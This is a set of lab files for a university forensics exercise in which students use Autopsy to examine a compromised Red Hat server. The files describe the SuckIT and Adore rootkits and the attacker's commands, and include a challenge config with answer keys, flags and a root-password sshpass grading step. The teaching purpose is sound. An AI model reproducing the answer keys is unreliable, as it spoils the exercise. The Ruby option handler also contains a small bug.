||||
<a href="data:<%= File.read self.templates_path + 'md5sum-url-encoded' %>">Click here to download the md5 hashes of the system before it was compromised</a>
|
||||
|
||||
==Save the hashes in the evidence directory of the Kali VM, name the file "md5s".==
|
||||
|
||||
==View the file==, to confirm all went well:
|
||||
|
||||
```bash
|
||||
less evidence/md5s
|
||||
```
|
||||
> 'q' to quit
|
||||
|
||||
As you have learned in the Integrity Management lab, this information can be used to check whether files have changed.
|
||||
|
||||
## Starting Autopsy
|
||||
|
||||
Autopsy is a front-end for the Sleuth Kit (TSK) collection of forensic analysis command line tools. There is a version of Autopsy included in Kali Linux (a newer desktop-based version is also available for Windows).
|
||||
|
||||
==Create a directory== for storing the evidence files from Autopsy:
|
||||
|
||||
```bash
|
||||
mkdir /root/evidence/autopsy
|
||||
```
|
||||
|
||||
Start Autopsy. You can do this using the program menu. ==Click Applications / Forensics / autopsy.==
|
||||
|
||||
A terminal window should be displayed.
|
||||
|
||||
==Open Firefox, and visit [http://localhost:9999/autopsy](http://localhost:9999/autopsy)==
|
||||
|
||||
==Click "New Case".==
|
||||
|
||||
==Enter a case name==, such as "RedHatCompromised", and ==a description==, such as "Compromised Linux server", and ==enter your name==. ==Click "New Case".==
|
||||
|
||||
==Click the "Add Host" button.==
|
||||
|
||||
In section "6. Path of Ignore Hash Database", ==enter /root/linux-suspended-md5s==
|
||||
|
||||
==Click the "Add Host" button== at the bottom of the page
|
||||
|
||||
==Click "Add Image".==
|
||||
|
||||
==Click "Add Image File".==
|
||||
|
||||
For section "1. Location", ==enter /root/evidence/hda1.img==
|
||||
|
||||
For "2. Type", ==select "Partition".==
|
||||
|
||||
For "3. Import Method", ==select "Symlink".==
|
||||
|
||||
==Click "Next".==
|
||||
|
||||
==Click "Add".==
|
||||
|
||||
==Click "Ok".==
|
||||
|
||||
## File type analysis and integrity checking
|
||||
|
||||
Now that you have started and configured Autopsy with a new case and hash database, you can view the categories of files, while ignoring files that you know to be safe.
|
||||
|
||||
==Click "Analyse".==
|
||||
|
||||
==Click "File Type".==
|
||||
|
||||
==Click "Sort Files by Type".==
|
||||
|
||||
Confirm that "Ignore files that are found in the Exclude Hash Database" is selected.
|
||||
|
||||
==Click "Ok"==, this analysis takes some time.
|
||||
|
||||
Once complete, ==view the "Results Summary".==
|
||||
|
||||
The output shows that over 16000 files have been ignored because they were found in the md5 hashes ("Hash Database Exclusions"). This is good news, since what it leaves us with are the interesting files that have changed or been created since the system was in a clean state. This includes archives, executables, and text files (amongst other categories).
|
||||
|
||||
==Click "View Sorted Files".==
|
||||
|
||||
Copy the results file location as reported by Autopsy, and ==open the report in a new tab within Firefox:==
|
||||
|
||||
> /var/lib/autopsy/RedHatCompromised/host1/output/sorter-vol1/index.html
|
||||
|
||||
==Click "compress"==, to view the compressed files. You are greeted with a list of two compressed file archives, "/etc/opt/psyBNC2.3.1.tar.gz", and "/root/sslstop.tar.gz".
|
||||
|
||||
==Figure out what `psyBNC2.3.1.tar.gz` is used for.==
|
||||
> Try using Google, to search for the file name, or part thereof.
|
||||
|
||||
Browse the evidence in /mnt/compromised/etc/opt (on the Kali Linux system, using a file browser, such as Dolphin) and look at the contents of the archive (in /etc/opt, and you may find that the attacker has left an uncompressed version which you can assess in Autopsy). Remember, don't execute any files from the compromised system on your analysis machine: you don't want to end up infecting your analysis machine. For this reason, it is safer to assess these files via Autopsy. ==Browse to the directory by clicking back to the Results Summary tab of Autopsy, and clicking "File Analysis"==, then browse to the files from there (in /etc/opt). Read the psyBNC README file, and ==note what this software package is used for.==
|
||||
|
||||
> **Help: if the README file did not display as expected,** click on the inode (meta) number at the right-hand side of the line containing the README file. You will need to click each direct block link in turn to see the content of the README file. The direct block links are displayed at the bottom left-hand side of the webpage.
|
||||
|
||||
Next, we investigate what sslstop.tar.gz is used for. A quick Google brings up a CGSecurity.org page, which reports that this script modifies httpd.conf to disable SSL support from Apache. Interesting... Why would an attacker want to disable SSL support? This should soon become clear.
|
||||
|
||||
==Return the page where "compress" was accessed== (/root/evidence/autopsy/RedHatCompromised/host1/output/sorter-vol1/index.html), and ==click "exec"==. This page lists a fairly extensive collection of new executables on our compromised server.
|
||||
|
||||
==Make a list of all the executables that are likely trojanized.==
|
||||
> Hint: for now ignore the "relocatable" objects left from compiling the PSYBNC software, and focus on "executable" files, especially those in /bin/ and /usr/bin/.
|
||||
|
||||
---
|
||||
|
||||
Refer to your previously collected evidence to ==identify whether any of the new executables were those with open ports== when live information was collected. Two of these have particularly interesting file names: `/usr/bin/smbd -D` and `/usr/bin/(swapd)`. These names are designed to be deceptive: for example, the inclusion of ` -D` is designed to trick system administrators into thinking that any processes were started with the "-D" command line argument flag.
|
||||
|
||||
Note that /lib/.x/ contains a number of new executables, including one called "hide". These are likely part of a rootkit.
|
||||
> **Hint:** to view these files you will have to look in /mnt/compromised/lib/.x. The .x folder is a hidden folder (all folders and file in Linux that begin with a "." ar hidden files). Therefore, you will have to use the -a switch when using the ls command in a terminal or tell the graphical file manager to display hidden files ( View > Show Hidden Files or Ctrl+H).
|
||||
|
||||
==Using Autopsy "File Analysis" mode, browse to "/lib/.x/"==. **Explicit language warning: if you are easily offended, then skip this next step.** View the contents of "install.log".
|
||||
> **Hint:** you will have to click **../** to move up the directory tree until you can see the lib directory in the root directory /.
|
||||
|
||||
> **Help: if the install.log file did not display as expected,** click on the inode (meta) number at the right-hand side of the line containing the README file. You will need to click the direct block link to see the content of the install.log file. The direct block links are displayed at the bottom left-hand side of the webpage.
|
||||
|
||||
This includes the lines:
|
||||
|
||||
> \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
|
||||
> \# SucKIT version 1.3b by Unseen < unseen@broken.org > \#
|
||||
> \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
|
||||
|
||||
SuckIT is a rootkit that tampers with the Linux kernel directly via /dev/kmem, rather than the usual approach of loading a loadable kernel module (LKM). The lines in the log may indicate that the rootkit had troubles loading.
|
||||
|
||||
SuckIT and the rootkit technique is described in detail in Phrack issue 58, article 0x07 "Linux on-the-fly kernel patching without LKM"
|
||||
|
||||
> [*http://www.textfiles.com/magazines/PHRACK/PHRACK58*](http://www.textfiles.com/magazines/PHRACK/PHRACK58)
|
||||
|
||||
==Using Autopsy "File Analysis", view the file /lib/.x/.boot==
|
||||
|
||||
> **Help:** again you may need to view the block directly that contains the .boot file. Make a note of the file's access times, this will come in handy soon.
|
||||
|
||||
This shell script starts an SSH server (s/xopen), and sends an email to a specific email address to inform them that the machine is available. View the script, and ==determine what email address it will email the information to.==
|
||||
|
||||
Return to the file type analysis (presumably still open in an Iceweasel tab), still viewing the "exec" category, also note the presence of "adore.o". Adore is another rootkit (and worm), this one loads via an LKM (loadable kernel module).
|
||||
|
||||
Here is a concise description of a version of Adore:
|
||||
|
||||
> [*http://lwn.net/Articles/75990/*](http://lwn.net/Articles/75990/)
|
||||
|
||||
This system is well and truly compromised, with multiple kernel rootkits installed, and various trojanized binaries.
|
||||
@@ -0,0 +1,242 @@
|
||||
<%
|
||||
require 'json'
|
||||
require 'securerandom'
|
||||
require 'digest/sha1'
|
||||
require 'fileutils'
|
||||
require 'erb'
|
||||
|
||||
if self.accounts.empty?
|
||||
abort('Sorry, you need to provide an account')
|
||||
end
|
||||
|
||||
$first_account = JSON.parse(self.accounts.first)
|
||||
$second_account = JSON.parse(self.accounts[1])
|
||||
|
||||
$files = []
|
||||
$log_files = []
|
||||
if $second_account.key?("leaked_filenames") && $second_account['leaked_filenames'].size > 0
|
||||
$files = $second_account['leaked_filenames']
|
||||
$log_files = $second_account['leaked_filenames'].grep(/log/)
|
||||
end
|
||||
|
||||
if $files.empty?
|
||||
$files = ['myfile', 'afile', 'filee', 'thefile']
|
||||
end
|
||||
if $log_files.empty?
|
||||
$log_files = ['log', 'thelog', 'logs', 'frogonalog']
|
||||
end
|
||||
|
||||
$main_user = $first_account['username'].to_s
|
||||
$main_user_pass = $first_account['password'].to_s
|
||||
$second_user = $second_account['username'].to_s
|
||||
$example_file = "/home/#{$second_user}/#{$files.sample}"
|
||||
$example_dir = "/home/#{$second_user}/personal_secrets/"
|
||||
|
||||
$web_server_ip = self.web_server_ip.first
|
||||
$ids_server_ip = self.ids_server_ip.first
|
||||
$hackerbot_server_ip = self.hackerbot_server_ip.first
|
||||
$root_password = self.root_password
|
||||
$flags = self.flags
|
||||
|
||||
REQUIRED_FLAGS = 8
|
||||
while $flags.length < REQUIRED_FLAGS
|
||||
$flags << "flag{#{SecureRandom.hex}}"
|
||||
Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
|
||||
end
|
||||
|
||||
def get_binding
|
||||
binding
|
||||
end
|
||||
%>
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<hackerbot
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.github/cliffe/SecGen/hackerbot">
|
||||
<!--<hackerbot xmlns="http://www.github/cliffe/SecGen/hackerbotz"-->
|
||||
|
||||
<name>Hackerbot</name>
|
||||
|
||||
<AIML_chatbot_rules>config/AIML</AIML_chatbot_rules>
|
||||
|
||||
<!--Method for gaining shell access, can be overwritten per-attack-->
|
||||
<!--<get_shell>bash</get_shell>-->
|
||||
<get_shell>false</get_shell>
|
||||
|
||||
<messages>
|
||||
<show_attack_numbers />
|
||||
|
||||
<greeting>Hi there. It seems we have a server that's been compromised. Investigate for me, and I'll give you some flags.</greeting>
|
||||
|
||||
<!--Must provide alternatives for each message-->
|
||||
<say_ready>When you are ready, simply say 'ready'.</say_ready>
|
||||
<say_ready>'Ready'?</say_ready>
|
||||
<next>Ok, I'll do what I can to move things along...</next>
|
||||
<next>Moving things along to the next one...</next>
|
||||
<previous>Ok, I'll do what I can to back things up...</previous>
|
||||
<previous>Ok, backing up.</previous>
|
||||
<goto>Ok, skipping it along.</goto>
|
||||
<goto>Let me see what I can do to goto that attack.</goto>
|
||||
<last_attack>That was the last one for now. You can rest easy, until next time... (End.)</last_attack>
|
||||
<last_attack>That was the last one. Game over?</last_attack>
|
||||
<first_attack>You are back to the beginning!</first_attack>
|
||||
<first_attack>This is where it all began.</first_attack>
|
||||
<getting_shell>Doing my thing...</getting_shell>
|
||||
<getting_shell>Here we go...</getting_shell>
|
||||
<got_shell>...</got_shell>
|
||||
<got_shell>....</got_shell>
|
||||
<repeat>Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along.</repeat>
|
||||
<repeat>Say 'ready', 'next', or 'previous'.</repeat>
|
||||
|
||||
<!--Single responses:-->
|
||||
<help>I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'</help>
|
||||
<say_answer>Say "The answer is *X*".</say_answer>
|
||||
<no_quiz>There is no question to answer</no_quiz>
|
||||
<correct_answer>Correct</correct_answer>
|
||||
<incorrect_answer>Incorrect</incorrect_answer>
|
||||
<invalid>That's not possible.</invalid>
|
||||
<non_answer>Wouldn't you like to know.</non_answer>
|
||||
|
||||
<!--can be overwritten per-attack-->
|
||||
<shell_fail_message>Oh no. Failed to get shell... You need to let us in.</shell_fail_message>
|
||||
</messages>
|
||||
|
||||
<tutorial_info>
|
||||
<title>Live Analysis</title>
|
||||
<tutorial><%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %></tutorial>
|
||||
<footer>
|
||||
<%= File.read self.templates_path + 'resources.md.erb' %>
|
||||
|
||||
<%= File.read self.templates_path + 'license.md.erb' %>
|
||||
|
||||
Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>)
|
||||
</footer>
|
||||
|
||||
<provide_tutorial>true</provide_tutorial>
|
||||
|
||||
</tutorial_info>
|
||||
|
||||
<attack>
|
||||
<% $rand_name1 = SecureRandom.hex(3)
|
||||
$flag1 = $flags.pop
|
||||
$flag2 = $flags.pop
|
||||
%>
|
||||
|
||||
<pre_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name1 %> /tmp/susp_trojans; echo $?; cat /tmp/susp_trojans | sort</pre_shell>
|
||||
<get_shell>false</get_shell>
|
||||
<prompt>Create a list of the potentially trojanised executables on the compromised system, save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name1 %>. Use full pathnames, one per line.</prompt>
|
||||
|
||||
<condition>
|
||||
<output_matches>/lib/.x/|/root/sslstop/</output_matches>
|
||||
<message>:( Only include the programs that are typically found on a Linux system, but that seem to have been replaced with Trojans horses.</message>
|
||||
<trigger_next_attack />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>/bin/ls.*/bin/netstat.*/bin/ps.*/sbin/ifconfig.*/usr/bin/top</output_matches>
|
||||
<message>:-D Well done! Two flags for you! <%= $flag1 %>, <%= $flag2 %>.</message>
|
||||
<trigger_next_attack />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>/bin/ls|/bin/netstat|/bin/ps|/sbin/ifconfig|/usr/bin/top</output_matches>
|
||||
<message>:) Well done! <%= $flag1 %>. You have some but not all. There are more flags to be had, by including more.</message>
|
||||
<trigger_quiz />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>1</output_matches>
|
||||
<message>:( Failed to get the file.</message>
|
||||
</condition>
|
||||
<else_condition>
|
||||
<message>:( List is incomplete...</message>
|
||||
</else_condition>
|
||||
|
||||
<tutorial><%= ERB.new(File.read self.templates_path + 'timeline.md.erb').result(self.get_binding) %></tutorial>
|
||||
</attack>
|
||||
|
||||
<attack>
|
||||
<% $rand_name2 = SecureRandom.hex(3) %>
|
||||
<pre_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name2 %> /tmp/susp_pids; echo --$?; cat /tmp/susp_pids</pre_shell>
|
||||
<get_shell>false</get_shell>
|
||||
|
||||
<prompt>Create a list of IP addresses you beleive have attempted to log in to the system using SSH or Telnet. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name2 %>.</prompt>
|
||||
|
||||
<condition>
|
||||
<output_matches>202.85.165.45|192.109.122.5</output_matches>
|
||||
<message>:) Well done! <%= $flags.pop %>.</message>
|
||||
<trigger_quiz />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>--1</output_matches>
|
||||
<message>:( Failed to get file.</message>
|
||||
</condition>
|
||||
<else_condition>
|
||||
<message>:( List is incomplete...</message>
|
||||
</else_condition>
|
||||
|
||||
<% $questions = {'What is the approximate longitude of the IP addresses that have attempted to log in to the system using SSH or Telnet?'=>'4\.|114\.','What countries are the IP addresses that have attempted to log in to the system using SSH or Telnet'=>'Hong Kong|Netherlands'}
|
||||
$rand_question1 = $questions.keys.sample %>
|
||||
|
||||
<quiz>
|
||||
<question><%= $rand_question1 %></question>
|
||||
<answer><%= $questions[$rand_question1] %></answer>
|
||||
<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
|
||||
<trigger_next_attack />
|
||||
</quiz>
|
||||
|
||||
</attack>
|
||||
|
||||
<attack>
|
||||
<% $rand_name3 = SecureRandom.hex(3) %>
|
||||
<pre_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name3 %> /tmp/susp_email; echo $?; cat /tmp/susp_email</pre_shell>
|
||||
<get_shell>false</get_shell>
|
||||
|
||||
<prompt>Save the email addresses that messages were sent to. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name3 %>.</prompt>
|
||||
|
||||
<condition>
|
||||
<output_matches>newtraceuser@yahoo.com|skiZophrenia_siCk@yahoo.com|jijeljijel@yahoo.com</output_matches>
|
||||
<message>:) Well done! <%= $flags.pop %>.</message>
|
||||
<trigger_next_attack />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>1</output_matches>
|
||||
<message>:( Failed to get the file.</message>
|
||||
</condition>
|
||||
<else_condition>
|
||||
<message>:( Something was not right...</message>
|
||||
</else_condition>
|
||||
|
||||
<tutorial><%= ERB.new(File.read self.templates_path + 'logs.md.erb').result(self.get_binding) %></tutorial>
|
||||
|
||||
</attack>
|
||||
|
||||
<attack>
|
||||
<% $rand_name4 = SecureRandom.hex(3) %>
|
||||
<pre_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name4 %> /tmp/susp_wget; echo $?; cat /tmp/susp_wget</pre_shell>
|
||||
<get_shell>false</get_shell>
|
||||
|
||||
<prompt>Save the wget commands used to download rootkits. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name4 %>.</prompt>
|
||||
|
||||
<condition>
|
||||
<output_matches>wget geocities.com</output_matches>
|
||||
<message>:) Well done! <%= $flags.pop %>.</message>
|
||||
<trigger_quiz />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>1</output_matches>
|
||||
<message>:( Failed to get the file.</message>
|
||||
</condition>
|
||||
<else_condition>
|
||||
<message>:( List is incomplete...</message>
|
||||
</else_condition>
|
||||
|
||||
<quiz>
|
||||
<question>What country is the attacker likely from?</question>
|
||||
<answer>Romania</answer>
|
||||
<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
|
||||
<trigger_next_attack />
|
||||
</quiz>
|
||||
|
||||
<tutorial><%= ERB.new(File.read self.templates_path + 'deleted.md.erb').result(self.get_binding) %></tutorial>
|
||||
|
||||
</attack>
|
||||
|
||||
</hackerbot>
|
||||
@@ -0,0 +1,121 @@
|
||||
<html>
|
||||
<head>
|
||||
<title><%= self.title %></title>
|
||||
</head>
|
||||
<body>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="css/github-markdown.css">
|
||||
<style>
|
||||
.markdown-body {
|
||||
box-sizing: border-box;
|
||||
min-width: 200px;
|
||||
max-width: 980px;
|
||||
margin: 0 auto;
|
||||
padding: 45px;
|
||||
}
|
||||
.markdown-body h4[id^='hackerbot']:after {
|
||||
display: inline-block;
|
||||
float: right;
|
||||
content: url("images/skullandusb.svg");
|
||||
width: 30px;
|
||||
}
|
||||
article {
|
||||
float: right;
|
||||
width: calc(100% - 300px);
|
||||
}
|
||||
.toc {
|
||||
float: left;
|
||||
font-size: smaller;
|
||||
color: #1a1d22;
|
||||
width: 300px;
|
||||
position: fixed;
|
||||
height: calc(100% - 56px);
|
||||
overflow-y: scroll;
|
||||
font-family: sans-serif;
|
||||
margin-top: 50px;
|
||||
}
|
||||
.toc ul {
|
||||
list-style-type: none;
|
||||
padding: 0;
|
||||
margin-left: 1em;
|
||||
}
|
||||
.toc li { /* Space between menu items*/
|
||||
margin: 1em 0;
|
||||
}
|
||||
.toc a {
|
||||
color: #1a1d22;
|
||||
text-decoration: none;
|
||||
}
|
||||
.toc a:hover {
|
||||
color: #6c036d;
|
||||
text-decoration: none;
|
||||
}
|
||||
.toc a:visited {
|
||||
color: #1a1d22;
|
||||
text-decoration: none;
|
||||
}
|
||||
.markdown-body pre {
|
||||
background-color: #570138;
|
||||
color: whitesmoke;
|
||||
}
|
||||
.markdown-body p code span {
|
||||
color: black !important;
|
||||
}
|
||||
.markdown-body p code {
|
||||
background-color: whitesmoke;
|
||||
border: 1px solid #eaecef;
|
||||
}
|
||||
.markdown-body img[alt="small-left"] {
|
||||
max-width: 100px;
|
||||
float: left;
|
||||
}
|
||||
.markdown-body img[alt="small-right"] {
|
||||
max-width: 100px;
|
||||
float: right;
|
||||
}
|
||||
.markdown-body img[alt="tiny-right"] {
|
||||
max-width: 30px;
|
||||
float: right;
|
||||
}
|
||||
.markdown-body img[alt="small"] {
|
||||
max-width: 100px;
|
||||
display: block;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
padding: 15px;
|
||||
}
|
||||
mark {
|
||||
background-color: white;
|
||||
color: #5b29bd;
|
||||
font-weight: bolder;
|
||||
}
|
||||
@media (max-width: 767px) {
|
||||
.markdown-body {
|
||||
padding: 15px;
|
||||
min-width: 200px;
|
||||
max-width: 980px;
|
||||
}
|
||||
.toc {
|
||||
float: none;
|
||||
width: 100%;
|
||||
position: relative;
|
||||
overflow: auto;
|
||||
height: auto;
|
||||
}
|
||||
article {
|
||||
float: none;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
}
|
||||
</style>
|
||||
<div class="toc">
|
||||
<%= self.html_TOC_rendered %>
|
||||
</div>
|
||||
|
||||
<article class="markdown-body">
|
||||
<%= self.html_rendered %>
|
||||
</article>
|
||||
<script src="js/code-prettify/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,6 @@
|
||||
## License
|
||||
This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
|
||||
|
||||
Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
|
||||
|
||||

|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,69 @@
|
||||
## Logs analysis
|
||||
|
||||
As you learned in the Log Management topic, the most common logging system on Unix systems is Syslog, which is typically configured in /etc/syslog.conf (or similar, such as rsyslog). Within the Autopsy File Analysis browser, ==navigate to this configuration file and view its contents.== Note that most logging is configured to go to /var/log/messages. Some security messages are logged to /var/log/secure. Boot messages are logged to /var/log/boot.log.
|
||||
|
||||
==Make a note of where mail messages are logged==, you will use this later:
|
||||
|
||||
Within Autopsy, browse to /var/log. Note that you cannot view the messages file, which would have contained many helpful log entries. Click the inode number to the right (47173):
|
||||
|
||||
As previously seen in the timeline, this file has been symlinked to /dev/null. If you are not familiar with /dev/null, search the Internet for an explanation.
|
||||
|
||||
For now, we will continue by investigating the files that are available, and later investigate deleted files.
|
||||
|
||||
Using Autopsy, ==view the /var/log/secure file==, and identify any IP addresses that have attempted to log in to the system using SSH or Telnet.
|
||||
|
||||
==Determine the country of origin for each of these connection attempts:==
|
||||
|
||||
> On a typical Unix system we can look up this information using the command:
|
||||
|
||||
```bash
|
||||
whois *IP-address*
|
||||
```
|
||||
> (Where IP-address is the IP address being investigated).
|
||||
>
|
||||
> However, this may not be possible from within our lab environment, and alternatively there are a number of websites that be used (potentially from your own host PC):
|
||||
>
|
||||
> [*http://whois.domaintools.com/*](http://whois.domaintools.com/)
|
||||
>
|
||||
> [*http://whois.net/ip-address-lookup/*](http://whois.net/ip-address-lookup/)
|
||||
>
|
||||
> You may also run a traceroute to determine what routers lie between your system and the remote system.
|
||||
>
|
||||
> Additionally, software and websites exist that will graphically approximate the location of the IP:
|
||||
>
|
||||
> [*http://www.iplocationfinder.com/*](http://www.iplocationfinder.com/)
|
||||
|
||||
---
|
||||
|
||||
Within Autopsy, ==view the /var/log/boot.log file==. At the top of this file Syslog reports starting at August 10 at 13:33:57.
|
||||
|
||||
==LogBook Question: Given what we have learned about this system during timeline analysis, what is suspicious about Syslog restarting on August 10th? Was the system actually restarted at that time?==
|
||||
|
||||
Note that according to the log, Apache fails to restart. Why can't Apache restart? Do you think the attacker intended to do this?
|
||||
|
||||
==Open the mail log file==, which you recorded the location of earlier. ==Identify the email addresses that messages were sent to.==
|
||||
|
||||
---
|
||||
|
||||
Another valuable source of information are records of commands that have been run by users. One source of this information is the .bash\_history file. As noted during timeline analysis, the /root/.bash\_history file was symlinked to /dev/null, meaning the history was not saved. However, the attacker did leave behind a Bash history file in the root of the filesystem ("/"). ==View this file.==
|
||||
|
||||
Towards the end of this short Bash session the attacker downloads sslstop.tar.gz, then the attacker runs:
|
||||
|
||||
```bash
|
||||
ps aux | grep apache
|
||||
|
||||
kill -9 21510 21511 23289 23292 23302
|
||||
```
|
||||
|
||||
==LogBook Question: What is the attacker attempting to do with these commands?==
|
||||
|
||||
Apache has clearly played an important role in the activity of the attacker, so it is natural to investigate Apache's configuration and logs.
|
||||
|
||||
Still in Autopsy, ==browse to /etc/httpd/conf/, and view httpd.conf.==
|
||||
|
||||
Note that the Apache config has been altered by sslstop, by changing the "HAVE\_SSL" directive to "HAVE\_SSS" (remember, this file was shown in the timeline to be modified after sslstop was run)
|
||||
|
||||
This configuration also specifies that Apache logs are stored in /etc/httpd/logs, and upon investigation this location is symlinked to /var/log/httpd/. This is a common Apache configuration.
|
||||
|
||||
Unfortunately the /var/log/httpd/ directory does not exist, so clearly the attacker has attempted to cover their tracks by deleting Apache's log files.
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
### Timeline analysis
|
||||
|
||||
It helps to reconstruct the timeline of events on the system, to get a better understanding. Software such as Sluthkit (either using the Autopsy frontend or the mactime command line tool) analyses the MAC times of files (that is, the most recent modification, most recent access, and most recent inode change[^1]) to reconstruct a sequence of file access events.
|
||||
|
||||
In another Firefox tab, ==visit [*http://localhost:9999/autopsy*](http://localhost:9999/autopsy), click "Open Case", "Ok", "Ok".==
|
||||
|
||||
==Click "File Activity Timelines".==
|
||||
|
||||
==Click "Create Data File".==
|
||||
|
||||
==Select "/1/ hda1.img-0-0 ext".==
|
||||
|
||||
==Click "Ok".==
|
||||
|
||||
==Click "Ok".==
|
||||
|
||||
For "5. Select the UNIX image that contains the /etc/passwd and /etc/group files", ==select "hda1.img-0-0".==
|
||||
|
||||
Wait while a timeline is generated.
|
||||
|
||||
==Click "Ok".==
|
||||
|
||||
Once analysis is complete, the timeline is presented. Note that the timeline starts with files accessed on Jan 01 1970.
|
||||
|
||||
==Click "Summary".==
|
||||
|
||||
A number of files are specified as accessed on Jan 01 1970. What is special about this date?
|
||||
|
||||
==Browse through the history.== Note that it is very detailed, and it is easy to get lost (and waste time) in irrelevant detail.
|
||||
|
||||
The access date you previously recorded (for "/lib/.x/.boot") was in August 2003, so this is probably a good place to start.
|
||||
|
||||
==Browse to August 2003 on the timeline==, and follow along:
|
||||
|
||||
Note that on the 6th of August it seems many files were accessed, and not altered (displayed as ".a.."[^2]). This is probably the point at which the md5 hashes of all the files on the system were collected.
|
||||
|
||||
On 9th August a number of config files were accessed including "/sbin/runlevel", "/sbin/ipchains", and "/bin/login". This indicates that the system was likely rebooted at this time.
|
||||
|
||||
On 10th August, a number of files that have since been deleted were accessed.
|
||||
|
||||
Shortly thereafter the inode data was changed (displayed as "..c.") for many files. Then many files owned by the *apache* user were last modified before they were deleted. The apache user goes on to access some more files, and then a number of header files (.h) were accessed, presumably in order to compile a C program from source. Directly after, some files were created, including "/usr/lib/adore", the Adore rootkit.
|
||||
|
||||
At 23:30:54 /root/.bash\_history and /var/log/messages were symlinked to /dev/null.
|
||||
|
||||
Next more header files were accessed, this time Linux kernel headers, presumably to compile a kernel module (or perhaps some code that tries to tamper with the kernel). This was followed by the creation of the SuckIT rootkit files, which we previously investigated.
|
||||
|
||||
Note that a number of these files are created are again owned by the "apache" user.
|
||||
|
||||
What does this tell you about the likely source of the compromise?
|
||||
|
||||
Further down, note the creation of the /root/sslstop.tar.gz file which was extracted (files created), then compiled and run. Shortly after, the Apache config file (/etc/httpd/conf/httpd.conf) was modified.
|
||||
|
||||
Why would an attacker, after compromising a system, want to stop SSL support in Apache?
|
||||
|
||||
Meanwhile the attacker has accidently created a /.bash\_history, which has not been deleted.
|
||||
|
||||
Further down we see wget accessed and used to download the /etc/opt/psyBNC2.3.1.tar.gz file, which we investigated earlier.
|
||||
|
||||
This file was then extracted, and the program compiled. This involved accessing many header (.h) files. Finally, the "/etc/opt/psybnc/psybnc.conf" file is modified, presumably by the attacker, in order to configure the behaviour of the program.
|
||||
|
||||
---
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/usr/bin/ruby
|
||||
require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb'
|
||||
|
||||
class IDS < HackerbotConfigGenerator
|
||||
|
||||
attr_accessor :web_server_ip
|
||||
attr_accessor :ids_server_ip
|
||||
attr_accessor :hackerbot_server_ip
|
||||
|
||||
def initialize
|
||||
super
|
||||
self.module_name = 'Hackerbot Config Generator IDS'
|
||||
self.title = 'Dead Analysis'
|
||||
|
||||
self.local_dir = File.expand_path('../../',__FILE__)
|
||||
self.templates_path = "#{self.local_dir}/templates/"
|
||||
self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb"
|
||||
self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
|
||||
|
||||
self.web_server_ip = []
|
||||
self.ids_server_ip = []
|
||||
self.hackerbot_server_ip = []
|
||||
end
|
||||
|
||||
def get_options_array
|
||||
super + [['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT],
|
||||
['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT],
|
||||
['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]]
|
||||
end
|
||||
|
||||
def process_options(opt, arg)
|
||||
super
|
||||
case opt
|
||||
when '--web_server_ip'
|
||||
self.web_server_ip << arg;
|
||||
when '--ids_server_ip'
|
||||
self.ids_server_ip << arg;
|
||||
when '--hackerbot_server_ip'
|
||||
self.ids_server_ip << arg;
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
IDS.new.run
|
||||
